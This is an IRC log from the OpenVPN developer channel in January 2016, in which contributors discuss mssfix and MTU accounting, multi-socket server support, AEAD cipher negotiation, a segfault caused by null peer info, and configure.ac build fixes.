OPENSSL_FIPS 16:44 < klow> if(options.no_fips <= 0) { ... etc .. throws compile error that "options" is undeclared 16:45 < klow> I did apply a FIPS patch to openvpn source tree 17:43 -!- dazo is now known as dazo_afk 18:35 -!- rasengan [sid136612@pdpc/corporate-sponsor/privateinternetaccess.com/rasengan] has joined #openvpn-devel --- Log closed Fri Jan 08 00:09:11 2016 --- Log opened Fri Jan 08 16:18:56 2016 16:18 -!- ecrist [~ecrist@freebsd/contributor/openvpn.ecrist] has joined #openvpn-devel 16:18 -!- Irssi: #openvpn-devel: Total of 30 nicks [9 ops, 0 halfops, 2 voices, 19 normal] 16:18 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 16:19 -!- Irssi: Join to #openvpn-devel was synced in 9 secs 16:19 <@ecrist> arg 16:19 <@ecrist> I have the forums shut down. There may be... an issue. 16:31 < klow> cron2 16:31 < klow> thank you will look 17:17 <@vpnHelper> RSS Update - wishlistfeed: Site-to-Site connection <http://forums.openvpn.net/topic20670.html> || debian arm packages <http://forums.openvpn.net/topic20593.html> || How to make OpenVPN warn me before disconnecting? <http://forums.openvpn.net/topic20565.html> || OpenVPN Connect App for AppleTV 4 <http://forums.openvpn.net/topic20434.html> || tls-enc: Forward Secrecy and quantum computing <http://forums.openvpn.net/topic20270.html 17:36 -!- klow [~klong@c-73-53-31-109.hsd1.wa.comcast.net] has quit [Quit: This computer has gone to sleep] 17:59 <@ecrist> ok, forum is back online 20:29 -!- dazo is now known as dazo_afk 21:08 -!- floppym_ [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 21:13 -!- Netsplit *.net <-> *.split quits: floppym --- Day changed Sat Jan 09 2016 05:22 < valdikss> Hi guys 05:23 <@cron2> yo man 05:23 < valdikss> I'm not sure if mssfix works as intended. Should it fix mtu in a "hard" way, like if you set mssfix 1400 it must work with mtu 1440 upstream link? 05:25 < valdikss> Now it doesn't work in that way, it rounds the payload to a bigger size 05:25 < valdikss> Like, if you use the default value of mssfix 1450, it rounds mss to 1453 05:26 < valdikss> or, better say, you need an upstream link with MTU at least 1473 05:33 < valdikss> --mssfix max Announce to TCP sessions running over the tunnel that they should limit their send packet sizes such that after OpenVPN has encapsulated them, the resulting UDP packet size that OpenVPN sends to its peer will not exceed max bytes. The default value is 1450. 05:34 < valdikss> I understand that setting mssfix to 1450 should produce OpenVPN UDP packets (if it's used in UDP mode) in size not more than 1450 bytes 05:34 < valdikss> Right now it produces packets of 1473 bytes including IP header or 1453 bytes UDP payload without IP header. 05:35 < valdikss> But if you decrease this value a little bit, like mssfix1448, it would still produce packets of 1473 bytes because of aligning. 05:36 < valdikss> So, is this a bug or am I understanding the documentation incorrectly? 05:38 < valdikss> cron2: what do you think? 06:21 <@cron2> UDP shouldn't be bigger than the specified value... so something is off in our calculation, maybe the extra bytes for peer-id 06:25 < valdikss> cron2: I'm testing on 2.3.9 06:36 < valdikss> cron2: it seems that there's a bug. We should substract cipher block size in the mssfix alignment. 06:38 <@cron2> 2.3.9 has (client-side) peer-id support, so if the server supports it, you'll see it 06:39 < valdikss> cron2: 2.3.9 on both sides 06:39 <@cron2> but yes, might be that alignment/padding isn't properly accounted for 06:40 < valdikss> cron2: maybe I don't understand documentation. Right now it seems that mssfix properly adjust encapsulated payload size, so the encrypted payload is indeed less than mssfix value. But it doesn't include UDP and IP header sizes. 06:42 < valdikss> cron2: payload size is 1445 bytes for mssfix 1450. 06:43 <@cron2> the documentation is very clear 06:43 <@cron2> The max parameter is interpreted in the same way as the 06:43 <@cron2> --link-mtu parameter, i.e. the UDP packet size after encapsula- 06:43 <@cron2> tion overhead has been added in, but not including the UDP 06:43 <@cron2> header itself. 06:43 <@cron2> so that's "payload" 06:44 <@cron2> (I had to look it up in the manpage - not my original code, and I was not involved back then, so I have no idea why it was done this way) 06:47 < valdikss> cron2: hrmm, thanks, I missed that 06:48 < valdikss> cron2: but that's not really intuitive 06:51 <@cron2> it isn't, the manpage should at least mention that the resulting IP packet will be at least +8+20 byte larger (if I remember IP header size correct) 07:34 <@cron2> plaisthos: lz4-v2 vs. iOS client just works \o/ (though you need a beta build, as the released version has no comp v2 yet, gah) 07:34 * cron2 was testing something else for james and found lz4-v2 in his logs... 08:19 <@plaisthos> cron2: hehe 08:19 <@plaisthos> but good hear 08:19 <@plaisthos> +to 09:56 < valdikss> cron2: sent patch to the maillist 12:26 <@cron2> valdikss: jjk is right, for tap the overhead is higher (+18b ethernet header) 12:27 < valdikss> cron2: but isn't openvpn set mssfix to the _encrypted_ payload? Does it matter if it's tap or tun? 12:27 < valdikss> cron2: I haven't tested myself so I could be wrong, but at least that's what my logic says. 12:30 <@cron2> valdikss: yeah, you're right, I was confused about headers... of course the tap header happens inside the (outer) UDP, so if mssfix does the right thing for udp payload, the extra bytes are the same 12:51 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 240 seconds] 12:58 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 15:13 <@d12fk> does anone know why a server can have a --remote defined? is t then only accepting connections from --remote or what kind of feature is this? stumbled across this in options.c while working on the multiple sockets patch. 15:13 <@d12fk> plaisthos maybe? 15:14 <@plaisthos> d12fk: which kind of server? 15:14 <@plaisthos> with multi client not 15:15 <@plaisthos> bbut tls-server and tls-client work 15:15 <@plaisthos> since that is still p2p 15:15 <@d12fk> ah never really think about p2p anymore these days. thanks. 15:16 <@plaisthos> :) 15:38 -!- arrmo [~arrmo@pool-108-19-57-67.dllstx.fios.verizon.net] has joined #openvpn-devel 15:59 <@plaisthos> d12fk: openvpn 3 does not work in real p2p mode 16:00 <@d12fk> plaisthos: this is rather for 2.4 16:00 <@plaisthos> d12fk: I know 16:00 <@d12fk> depending on when it is supposed to be released 16:00 <@plaisthos> but you are not the only who does not have p2p in its focus 16:01 <@d12fk> it's kind of a legacy anyways, isn't it? 16:02 <@plaisthos> yeah 16:02 <@plaisthos> it is how openvpn started 16:02 <@plaisthos> I mean the client still is p2p mode 16:04 <@d12fk> yeah 16:04 <@d12fk> ah, it's kind of hard to get the multiple --local and --remote options right when parsing the config 16:04 <@plaisthos> doesn't the "handle like connection" trick work? 16:04 <@d12fk> i introduced a o->local_list which makes it complicated 16:05 <@d12fk> it does but I also want to allow many --local options outside the <listen> block in case you just need the addr/port/af/proto 16:06 <@d12fk> liek it is possible to do with --remote currently 16:07 <@plaisthos> hm 16:07 <@plaisthos> just generate a connection entry on each listen? 16:08 <@plaisthos> that probably breaks backward compability 16:08 <@d12fk> yes, but since one --remote can be defined as well i need to verify_ce this stuff 16:08 <@d12fk> probably won't get it right at first, but i'll give my best =) 17:02 * d12fk smiles 17:02 <@d12fk> Sat Jan 9 23:59:21 2016 UDP link local (bound): [AF_INET]192.168.118.63:1193 17:02 <@d12fk> Sat Jan 9 23:59:21 2016 Listening for incoming TCP connection on [AF_INET]192.168.118.63:443 17:04 <@d12fk> $ sudo netstat -tulpen | grep openvpn 17:04 <@d12fk> tcp 0 0 192.168.118.63:443 0.0.0.0:* LISTEN 0 1122624 11048/openvpn 17:04 <@d12fk> udp 0 0 192.168.118.63:1193 0.0.0.0:* 0 1122623 11048/openvpn 17:04 <@d12fk> not sure if I want to try connecting right away and spoil this evening yet again =) 17:05 <@plaisthos> :) 17:05 <@plaisthos> I manged to get that far too :) 17:05 <@plaisthos> but one the connection did not work 17:05 <@d12fk> this is with two --local lines in the config though 17:07 <@d12fk> what about these plaisthos: 17:08 <@d12fk> // inherit_context_top(&test, top); 17:08 <@d12fk> // init_instance_handle_signals (&test, test.es, CC_HARD_USR1_TO_HUP); 17:08 <@d12fk> // init_instance_handle_signals (&test2, test.es, CC_HARD_USR1_TO_HUP); 17:08 <@d12fk> they were in you branch, don't know what the signal stuff is about 17:08 <@d12fk> can these lines go away? 17:09 <@d12fk> or are they a note to care about them later (now) 17:14 <@plaisthos> hm 17:14 <@plaisthos> I don't know anymore 17:14 <@plaisthos> But I vaguely rember that these lines created the secondary contexts 18:05 <+krzie> has there ever been care to stop openvpn from blocking traffic during reneg? or maybe a way to slow reneg down so it doesnt overpower weak cpus? 18:05 <+krzie> i ask because of a user in #openvpn but i also experience the same issue as him, but for me its with voip phones 20:07 -!- arrmo [~arrmo@pool-108-19-57-67.dllstx.fios.verizon.net] has quit [Quit: Leaving] --- Day changed Sun Jan 10 2016 00:37 -!- arlen [~arlen@jarvis.arlen.io] has quit [Remote host closed the connection] 00:58 -!- arlen [~arlen@jarvis.arlen.io] has joined #openvpn-devel 03:04 <@syzzer> krzie: I think (but I never actually checked) that this is due to the single-threadedness of openvpn and slowness of public key crypto 05:26 <@plaisthos> krzie: but it should not leak traffic 05:27 <@plaisthos> but yeah that is probably the single threadednes 05:37 <@syzzer> I'm trying to fix/simplify configure.ac, and just came across a OPTIONAL_CRYPTO_CFLAGS variable 05:38 <@syzzer> I don't think it makes sense at all, but before I just remove it, anyone who recognizes this / thinks it is useful? (it a a set of extra CFLAGS / LIBS that are nut used by autoconf during detection, but added to the preprocessor/compiler flags at the end of the configure run 05:41 <@syzzer> nvm, I get it, configure.ac internally uses 'CRYPTO_CFLAGS', but exposes it as 'OPTIONAL_CRYPTO_CFLAGS' 06:44 -!- noobkit [~Nerazim@77.31.233.15] has joined #openvpn-devel 07:24 -!- noobkit [~Nerazim@77.31.233.15] has quit [Quit: "Though we strike at you from the shadows, do not think that we lack the courage to stand in the light." ~Zeratul to Sarah Kerrigan] 11:10 -!- arrmo [~arrmo@pool-108-19-57-67.dllstx.fios.verizon.net] has joined #openvpn-devel 11:57 <@cron2> whee, AEAD patch 12:04 <@plaisthos> yeah 12:04 <@plaisthos> syzzer: Jan 10 19:01:46 hermes ovpn-udp-v6[19826]: 92.73.168.3 WARNING: 'auth' is used inconsistently, local='auth SHA1', remote='auth [null-digest]' 12:04 <@plaisthos> should it really called like that? 12:10 <@cron2> syzzer: the comment for the IV_NCP=2 patch confuses me... usually we send IV_ stuff client->server, and then push consequences back, but your patch says "make the server advertise IV_NCP=2" 12:11 <@cron2> (and indeed, it depends on opt->server... though I wonder whether any client actually looks at this, so "why bother") 12:12 <@plaisthos> wheee! 12:13 <@plaisthos> aead works here 12:13 <@cron2> cool 12:13 <@plaisthos> syzzer: your patch works on arm64 ;) 12:13 <@plaisthos> Jan 10 19:07:16 hermes ovpn-aead-v6[20078]: 92.73.168.3 peer info: IV_PLAT_VER=22_5.1_arm64-v8a_NVIDIA_unknown_SHIELD_Android_TV 12:17 <@plaisthos> however I have clue about hw accleration 12:18 <@d12fk> plaisthos: got a qestion about the multi tops 12:19 <@plaisthos> d12fk: yeah 12:19 <@plaisthos> I will try my best to answer it 12:19 <@d12fk> it seems that quite some places use m->top to fetch some info from the top context, now we could just pass top to every such function or just set m->top to the right top everytime a packet arrives 12:20 <@d12fk> would that do for incoming path? i suppose it could, since openvpn is single threaded 12:21 <@d12fk> so m->top would just point into the array to the currently right one... 12:21 <@plaisthos> IIrc there is already some logic present to get the right context for the single connections of udp/tcp multi server sockets 12:22 <@plaisthos> and these contexts already should have the right connection depenent settings 12:22 <@plaisthos> there probably very few places where yuo need the different top contexts 12:23 <@plaisthos> the inherent contex function probably needs to copy from the *right* top context 12:23 <@plaisthos> for most other stuff the normal (master) top context is okay 12:23 <@plaisthos> e.g. options are shared between all contexts 12:23 <@d12fk> ah got it 12:24 <@d12fk> in mudp there's such a place left 12:51 -!- arrmo [~arrmo@pool-108-19-57-67.dllstx.fios.verizon.net] has quit [Quit: Leaving] 12:54 <@syzzer> cron2: hmm, you're right, the patch can probably be reduced to just claiming to be TCPNL capable 12:54 <@syzzer> (who is going to implement that?) 13:01 * cron2 points at plaisthos :) ("he discussed this with James in Delft, while I only heard parts of it"). But it shouldn't be that hard, actually, just kick out the sequence number check when doing TCP 13:24 <@plaisthos> yes it boils dow to use the same checks in tcp as in udp 13:24 <@plaisthos> when checking for out of sequence 13:24 <@plaisthos> but I have idea where this checks is implemented in the client 13:59 -!- arrmo [~arrmo@pool-108-19-57-67.dllstx.fios.verizon.net] has joined #openvpn-devel 14:25 <@plaisthos> syzzer: Jan 10 21:22:51 hermes kernel: [6939868.728719] openvpn[25141]: segfault at 0 ip 00007f9f83e53421 sp 00007ffcbd271640 error 4 in libc-2.19.so[7f9f83dc8000+1bb000] 14:25 <@plaisthos> :( 14:27 <@plaisthos> |252 /* Push cipher if client supports Negotiable Crypto Parameters */ | 14:27 <@plaisthos> >|253 const char *ncp_str = strstr(peer_info, "IV_NCP="); 14:27 <@plaisthos> err need to rebuild with -O0 14:30 <@plaisthos> when an old client connects, peer_info can be null 14:30 <@plaisthos> OpenVPN 2.2 old 14:32 <@plaisthos> with the quick hack ··const·char·*ncp_str·=··peer_info·?·strstr(peer_info,·"IV_NCP=")·:·NULL;$ 14:32 <@plaisthos> it works again 14:43 <@syzzer> plaisthos: hah, good find! 14:54 <@plaisthos> completely unrelated but chromecast ignores VPN connections on Android TV 15:29 <@cron2> plaisthos: where did you find such an old client to test this? 15:29 * cron2 should add a 2.2 client to his server test suite... 15:30 <@plaisthos> cron2: sorry was 2.3.2 15:30 <@plaisthos> and Ubuntu 14.04 15:30 <@plaisthos> but 2.3.2 is probably also old enough not to have a minimal peer-info set 15:31 <@plaisthos> And I should really find the time to sit down and write a mininet based openvpn test setup 15:31 <@cron2> yes, that came somewhere in the middle of 2.3 - I think around heartbleed time ("so server admins can see client versions") 15:54 -!- arrmo [~arrmo@pool-108-19-57-67.dllstx.fios.verizon.net] has quit [Ping timeout: 276 seconds] 23:07 -!- arlen [~arlen@jarvis.arlen.io] has left #openvpn-devel ["exit"] 23:09 -!- arlen [~arlen@jarvis.arlen.io] has joined #openvpn-devel --- Day changed Mon Jan 11 2016 01:36 -!- dazo_afk is now known as dazo 02:00 <@mattock_> good morning 02:13 < mator> morning 02:15 <@cron2> *yawn*... mornin' folks 02:17 -!- reators [~holger@2001:1a80:2000:2:1599:7be6:773:35ec] has joined #openvpn-devel 02:37 <@cron2> so... automated "git master" server test suite now includes a 2.2 client... 02:38 <@cron2> which is amazingly painful, given that all the client side fixes ("clean up your tun interface when you're done!") are not in there, so t_client.sh as driver complains about lots of stuff that are not "server is broken" 02:38 <@cron2> and of course, no --proto tcp6-client or --ifconfig-ipv6... 03:13 <@mattock_> meeting today? 03:23 <@cron2> you have scheduled a patch sprint for today, as far as I remember :-) - syzzer, plaisthos: how are your plans? sports again? 03:50 <@plaisthos> cron2: yes 04:34 <@cron2> plaisthos: what's the difference between IV_NCP=1 and IV_NCP=2? 04:47 <@mattock_> yes, a sprint indeed 04:48 <@mattock_> I believe we have enough patches to keep us busy 04:48 <@mattock_> I'll ask if James could attend also 04:50 <@mattock_> sent email to him 04:55 <@syzzer> mattock_, cron2: if there's a meeting (or sprint) I'll be there, otherwise I'll go sporing 04:55 <@syzzer> +t 04:58 <@mattock_> I can be there, cron2 can be there, I asked James if he could be there (no response yet) 04:58 <@mattock_> I think we could arrange a spring: https://community.openvpn.net/openvpn/wiki/Topics-2016-01-11 04:58 <@vpnHelper> Title: Topics-2016-01-11 – OpenVPN Community (at community.openvpn.net) 04:59 <@mattock_> I'll send the invitation - if we have to cancel we can do that later 05:01 <@cron2> syzzer: huh, you do sports on monday now, too? So maybe we really should move the meeting to another day :) 05:05 <@mattock_> I sent the invitation 05:05 <@mattock_> tuesday would work for me equally well 05:09 <@cron2> tuesday is no-go day for me (dancing class) 05:12 <@mattock_> thursday is an option for me, but wed and fri are not 05:17 <@plaisthos> cron2: better ask syzzer but iirc IV_NCP=2 indicated AEAD support while IV_NCP=1 only indicates negotiable cipher 05:18 <@cron2> mmmh, interesting, so how does the server know *which* ciphers the client can handle with NCP=1? 05:18 <@cron2> syzzer: any ideas? 05:24 <@plaisthos> iirc there is nothing 05:25 <@plaisthos> James didn't want to push a really long list in the negoiationn 05:25 <@plaisthos> but the idea is that each NCP level corrosponds to certain minimal set 05:31 <@cron2> so we "just" need to document this somewhere... 05:36 <@plaisthos> yes ... 05:36 <@plaisthos> from James mail: 05:36 <@plaisthos> When negotiating AEAD mode, the client indicates its support 05:36 <@plaisthos> of AES-128-GCM, AES-192-GCM, and AES-192-GCM by including: 05:36 <@plaisthos> IV_NCP=2 05:36 <@plaisthos> in the peer info string (NCP stands for Negotiable Crypto 05:36 <@plaisthos> Parameters). 07:30 <@syzzer> yes, this is purely based on what james specified 07:41 <@plaisthos> the openvpn3 also only just prints IV_NCP=2 unconditionally 07:51 <@plaisthos> hm on my phone the wifi connection is limiting factor 07:51 <@plaisthos> not the encryption speed 07:54 <@plaisthos> I need to check the tv device with ethernet if it makes a difference there 09:13 <@cron2> tbh, I don't really feel like a sprint tonight... I'll work a bit on my heap of open stuff, but want to go to bed early... 11:47 <@mattock_> there has been no word from James, but if he won't make it, the sprint would basically consist of syzzer 11:47 <@mattock_> perhaps it's best to cancel it? 12:44 -!- floppym_ is now known as floppym 13:08 <@syzzer> well, I'm here anyway now 13:08 <@syzzer> but plenty of work to do 13:13 <@mattock_> james seems to have joined the channel 13:14 <@mattock_> syzzer: do you happen to have something to discuss with James? 13:55 -!- pascas [~pascas@113.Red-88-3-58.dynamicIP.rima-tde.net] has joined #openvpn-devel 13:55 < pascas> Hi 13:56 < pascas> i'm asking for help about importing ovpn files into a android device 13:56 < pascas> could anybody help me please? 14:06 -!- pascas [~pascas@113.Red-88-3-58.dynamicIP.rima-tde.net] has quit [] 15:13 <@vpnHelper> RSS Update - wishlistfeed: Simple Topology Subnet with /8 <http://forums.openvpn.net/topic20704.html> 16:29 <@plaisthos> interesting, the clatd (xlat464) daemon gets its prefix by looking up ipv4only.arpa 16:45 <@vpnHelper> RSS Update - tickets: #647: Cannot connect to 2.3.4 server using client version >= 2.3.9 (TLS Error - handshake failed) <https://community.openvpn.net/openvpn/ticket/647> 17:11 <@syzzer> hm, seems like increasing the control channel packet size *did* break stuff :( 17:11 <@syzzer> but it's getting late, so me -> bed 17:11 <@syzzer> good night! 17:22 -!- arrmo [~arrmo@pool-108-19-57-67.dllstx.fios.verizon.net] has joined #openvpn-devel 17:53 -!- arrmo [~arrmo@pool-108-19-57-67.dllstx.fios.verizon.net] has quit [Ping timeout: 276 seconds] 17:54 -!- arrmo [~arrmo@pool-108-19-57-67.dllstx.fios.verizon.net] has joined #openvpn-devel 18:14 -!- dazo is now known as dazo_afk 21:16 -!- arrmo [~arrmo@pool-108-19-57-67.dllstx.fios.verizon.net] has quit [Quit: Leaving] 21:16 -!- arrmo [~arrmo@pool-108-19-57-67.dllstx.fios.verizon.net] has joined #openvpn-devel 23:45 -!- noobkit [~Nerazim@93.168.163.97] has joined #openvpn-devel --- Day changed Tue Jan 12 2016 00:06 -!- noobkit [~Nerazim@93.168.163.97] has quit [Ping timeout: 250 seconds] 01:39 <@cron2> syzzer: would tun-mtu drop incoming packets that are "too big for that"? 01:42 <@cron2> mmmh, most likely "only read up to 1100+extra", and then part of the packet is missing 01:58 <@cron2> shall we try to implement fallback ("if UDP and 1250 does not work, try 500 on reconnect") or just recommend that people should not use --tun-mtu asymetrically? 02:16 <@syzzer> cron2: actually, I think we should not limit control channel packets based on tun-mtu 02:17 <@syzzer> I already wrote a patch that does that for cipher negotation 02:25 <@cron2> syzzer: "not limit... on reception"? 02:26 <@cron2> all for it, the interesting question is "how do we make people running 2.3.4 servers see that change" :) 02:29 <@syzzer> cron2: good point 02:29 <@syzzer> "upgrade if broken" ? :p 02:30 <@cron2> "we break it, you upgrade it" :) 02:30 <@syzzer> or just fix his config 02:30 <@syzzer> or is such a setup supposed to work? 02:31 <@cron2> well, if the client also has --tun-mtu 1100, it *should* work (link-mtu is derived from tun-mtu then, so control-channel MTU should be lowered accordingly) 02:42 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 02:46 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 02:57 <@plaisthos> I think assymetric tun-mtu is such a weird use case we should just ignore it ... 03:54 -!- arrmo [~arrmo@pool-108-19-57-67.dllstx.fios.verizon.net] has quit [Read error: Connection reset by peer] 03:58 -!- arrmo [~arrmo@pool-108-19-57-67.dllstx.fios.verizon.net] has joined #openvpn-devel 04:10 -!- eliasp [~quassel@HSI-KBW-46-223-71-248.hsi.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer] 04:13 -!- eliasp [~quassel@HSI-KBW-46-223-71-248.hsi.kabel-badenwuerttemberg.de] has joined #openvpn-devel 04:17 -!- wiz [~sid1@irc-gw.wiz.network] has quit [Ping timeout: 250 seconds] 04:17 -!- wiz [~sid1@irc-gw.wiz.network] has joined #openvpn-devel 04:29 <@plaisthos> my whole conclusion of this dns64 mess is that having a dualstack server is still one of the best bets 05:10 -!- dazo_afk is now known as dazo 05:28 <@cron2> definitely 05:50 <@plaisthos> anyway, I think narrowed down the problem with T-mobile US 05:50 <@plaisthos> somehow the whole mtu discovery seems to be broken with OpenVPN 05:50 <@plaisthos> without a mssfix you don't have any dice 05:56 <@plaisthos> hm I just noticed that the server always uses DATA_V1 packets --- Log closed Tue Jan 12 07:13:06 2016 --- Log opened Wed Jan 13 08:39:57 2016 08:39 -!- ecrist_ [~ecrist@freebsd/contributor/openvpn.ecrist] has joined #openvpn-devel 08:39 -!- Irssi: #openvpn-devel: Total of 31 nicks [9 ops, 0 halfops, 2 voices, 20 normal] 08:40 -!- mode/#openvpn-devel [+o ecrist_] by ChanServ 08:40 -!- Irssi: Join to #openvpn-devel was synced in 9 secs 09:50 <@syzzer> I have automated doxygen 'builds' here: https://delft.syzzer.nl/openvpn-doxygen/ 09:50 <@vpnHelper> Title: OpenVPN: OpenVPN source code documentation (at delft.syzzer.nl) 09:57 <@vpnHelper> RSS Update - wishlistfeed: OpenVPN GUI v.10 and Windows UAC <http://forums.openvpn.net/topic20734.html> 10:30 -!- arrmo [~arrmo@pool-108-19-57-67.dllstx.fios.verizon.net] has quit [Ping timeout: 240 seconds] 10:30 -!- arrmo [~arrmo@pool-108-19-57-67.dllstx.fios.verizon.net] has joined #openvpn-devel 12:10 -!- rasengan [sid136612@pdpc/corporate-sponsor/privateinternetaccess.com/rasengan] has quit [K-Lined] 12:10 -!- woodrow [sid13914@gateway/web/irccloud.com/x-gbqhcgcwhfgbzhrs] has quit [K-Lined] 12:21 -!- woodrow [sid13914@gateway/web/irccloud.com/x-hjlagvgnqzxcpbkl] has joined #openvpn-devel 12:35 -!- rasengan [sid136612@pdpc/corporate-sponsor/privateinternetaccess.com/rasengan] has joined #openvpn-devel 17:48 -!- dazo is now known as dazo_afk 20:54 -!- wiz [~sid1@irc-gw.wiz.network] has quit [Read error: Connection reset by peer] --- Log closed Wed Jan 13 20:54:14 2016 --- Log opened Fri Jan 15 13:33:10 2016 13:33 -!- ecrist [~ecrist@freebsd/contributor/openvpn.ecrist] has joined #openvpn-devel 13:33 -!- Irssi: #openvpn-devel: Total of 29 nicks [9 ops, 0 halfops, 1 voices, 19 normal] 13:33 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 13:33 -!- Irssi: Join to #openvpn-devel was synced in 2 secs 13:36 <@syzzer> cron2: yes 14:30 -!- arrmo [~arrmo@pool-108-19-57-67.dllstx.fios.verizon.net] has quit [Ping timeout: 255 seconds] 14:31 -!- arrmo [~arrmo@pool-108-19-57-67.dllstx.fios.verizon.net] has joined #openvpn-devel 14:48 < valdikss> cron2: hrmm, why didn't trac send me a message of assignment? 14:55 <@cron2> valdikss: no idea... mattock understands trac 15:08 -!- wiz [~sid1@irc-gw.wiz.network] has quit [Remote host closed the connection] 16:02 -!- wiz [~sid1@irc-gw.wiz.network] has joined #openvpn-devel 16:11 -!- arrmo [~arrmo@pool-108-19-57-67.dllstx.fios.verizon.net] has quit [Quit: Leaving] 16:12 -!- arrmo [~arrmo@pool-108-19-57-67.dllstx.fios.verizon.net] has joined #openvpn-devel 16:31 -!- arrmo [~arrmo@pool-108-19-57-67.dllstx.fios.verizon.net] has quit [Remote host closed the connection] 17:11 -!- arrmo [~arrmo@pool-108-19-57-67.dllstx.fios.verizon.net] has joined #openvpn-devel 20:12 -!- arrmo [~arrmo@pool-108-19-57-67.dllstx.fios.verizon.net] has quit [Remote host closed the connection] --- Day changed Sat Jan 16 2016 03:01 < valdikss> http://community.openvpn.net/openvpn/wiki/IPv6#Clientissues 03:01 <@vpnHelper> Title: IPv6 – OpenVPN Community (at community.openvpn.net) 03:14 < valdikss> I've updated my easy-rsa-ipsec, now it generates server and users' keys with random serial number so an eavesdropper can't determine client count, and added new function which allows you to generate certificates with notBefore and notAfter with only year (it's set to Jan 1 00:00:00). 06:34 <@plaisthos> neat 08:30 -!- arrmo [~arrmo@pool-108-19-57-67.dllstx.fios.verizon.net] has joined #openvpn-devel 14:17 -!- bengal [~ben@unaffiliated/bengal] has joined #openvpn-devel 14:30 <@vpnHelper> RSS Update - gitrepo: Clarify --block-outside-dns documentation <https://github.com/OpenVPN/openvpn/commit/cc4761fcafdeceea1a4b004f91c9fb47ef8b19c1> 15:00 <@vpnHelper> RSS Update - gitrepo: configure.ac: simplify crypto library configuration <https://github.com/OpenVPN/openvpn/commit/31b0bebef61413151af9ded55aa985798d4f7666> 15:12 -!- krzie [ba95f387@openvpn/community/support/krzee] has joined #openvpn-devel 15:12 -!- mode/#openvpn-devel [+v krzie] by ChanServ 15:15 <@cron2> syzzer: "something in your configure.ac patch is fish" 15:15 <@cron2> my buildbots that just set --with-crypto-library=polarssl are now failing to link - configure passes, but "-lpolarssl" is just not there in the final link 16:04 -!- arrmo [~arrmo@pool-108-19-57-67.dllstx.fios.verizon.net] has quit [Quit: Leaving] 17:25 -!- arrmo [~arrmo@pool-108-19-57-67.dllstx.fios.verizon.net] has joined #openvpn-devel 22:00 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 22:00 -!- mattock_ is now known as mattock --- Day changed Sun Jan 17 2016 04:48 -!- siruf [~siruf@unaffiliated/motley] has quit [Ping timeout: 265 seconds] 11:21 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 15:16 -!- krzie [ba95f387@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 16:47 -!- arrmo [~arrmo@pool-108-19-57-67.dllstx.fios.verizon.net] has quit [Remote host closed the connection] 16:55 -!- Netsplit *.net <-> *.split quits: bengal 16:59 -!- siruf [~siruf@unaffiliated/motley] has quit [Ping timeout: 260 seconds] 17:00 -!- bengal [~ben@unaffiliated/bengal] has joined #openvpn-devel 17:07 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 19:32 -!- arrmo [~arrmo@pool-108-19-57-67.dllstx.fios.verizon.net] has joined #openvpn-devel 19:44 -!- krzie [ba95f387@openvpn/community/support/krzee] has joined #openvpn-devel 19:45 -!- mode/#openvpn-devel [+v krzie] by ChanServ 23:48 -!- roentgen [~roentgen@unaffiliated/roentgen] has joined #openvpn-devel --- Day changed Mon Jan 18 2016 02:21 <@cron2> syzzer: ayt? 02:49 -!- dazo_afk is now known as dazo 02:50 -!- reators [~holger@port-92-198-130-130.static.qsc.de] has joined #openvpn-devel 03:12 -!- bengal [~ben@unaffiliated/bengal] has quit [Remote host closed the connection] 03:22 <@syzzer> cron2: I'm here now 03:28 <@cron2> mornin' :) 03:28 <@cron2> I think the configure.ac patch is not working right for polarssl + no pkg_config 03:29 <@cron2> the buildbots just run ./configure --with-crypto-library=polarssl and that used to work (no pkg-config there), and now it's just not adding -lpolarssl to the LIBS line, thus failing 03:29 <@cron2> if pkg_config is there, it works (more "current" buildbots) 03:30 <@cron2> skimming through the patch it *should* work, but I did not debug in detail yet 04:08 <@syzzer> cron2: that's weird - polarssl shouldn't even use pkgcfg 04:08 <@syzzer> I'll look into it tonight 04:20 <@mattock> meeting today guys? 04:31 <@syzzer> I will be at home, and probably behind a PC, but have to do other stuff too 04:32 <@cron2> mattock: isn't "next week" meeting time? 06:20 <@mattock> well, didn't we skip a meeting last week? 06:21 <@mattock> the last meeting we had was on 28th Dec: https://community.openvpn.net/openvpn/wiki/IrcMeetings 06:21 <@vpnHelper> Title: IrcMeetings – OpenVPN Community (at community.openvpn.net) 06:21 <@mattock> I'm fine with not having a meeting today, I have a fairly packed schedule as it is 06:42 <@cron2> we had a print meeting last week which did not get far... 07:15 <@mattock> yup 07:15 <@mattock> sprint 07:15 <@mattock> :P 07:15 <@mattock> let's do a meeting next week then 07:52 <@cron2> +1 08:18 <@syzzer> I'm out for a week of snow boarding next week. there should be wifi in the appartment, so I might be there, but can not make any promises 08:47 * cron2 wants a week of snowboarding, too 09:08 * dazo wants a week of just hacking on projects I'm involved 09:10 <@cron2> oh, and that. A month somewhere with great snow *and* good internet, snowboarding in the morning, then a nice lunch, and then hacking in the afternoon :-) 09:10 * cron2 dreams on, and drives over to Kindergarten instead... :) 12:40 -!- dazo is now known as dazo_afk 13:54 <@syzzer> mattock: are you around? 14:46 <@syzzer> cron2: found the culprit - a missing , 14:49 <@cron2> syzzer: such a small character :-) 14:56 <@syzzer> it probably failed on older systems only, because the fallback from libmbedtls to libpolarssl failed 14:58 <@cron2> that is likely, all my systems have -lpolarssl 15:18 <@cron2> hrmph 15:20 <@cron2> should it work if I call "configure POLARSSL_CFLAGS=-I..." but do not set POLARSSL_LIBS=...? 15:20 <@cron2> ah, no 15:20 <@cron2> only if both are -z 15:30 <@vpnHelper> RSS Update - gitrepo: configure.ac: fix polarssl autodetection <https://github.com/OpenVPN/openvpn/commit/417fe4a72c82accca8d95fb0488427f5b6dc4157> --- Day changed Tue Jan 19 2016 00:27 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 245 seconds] 00:36 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 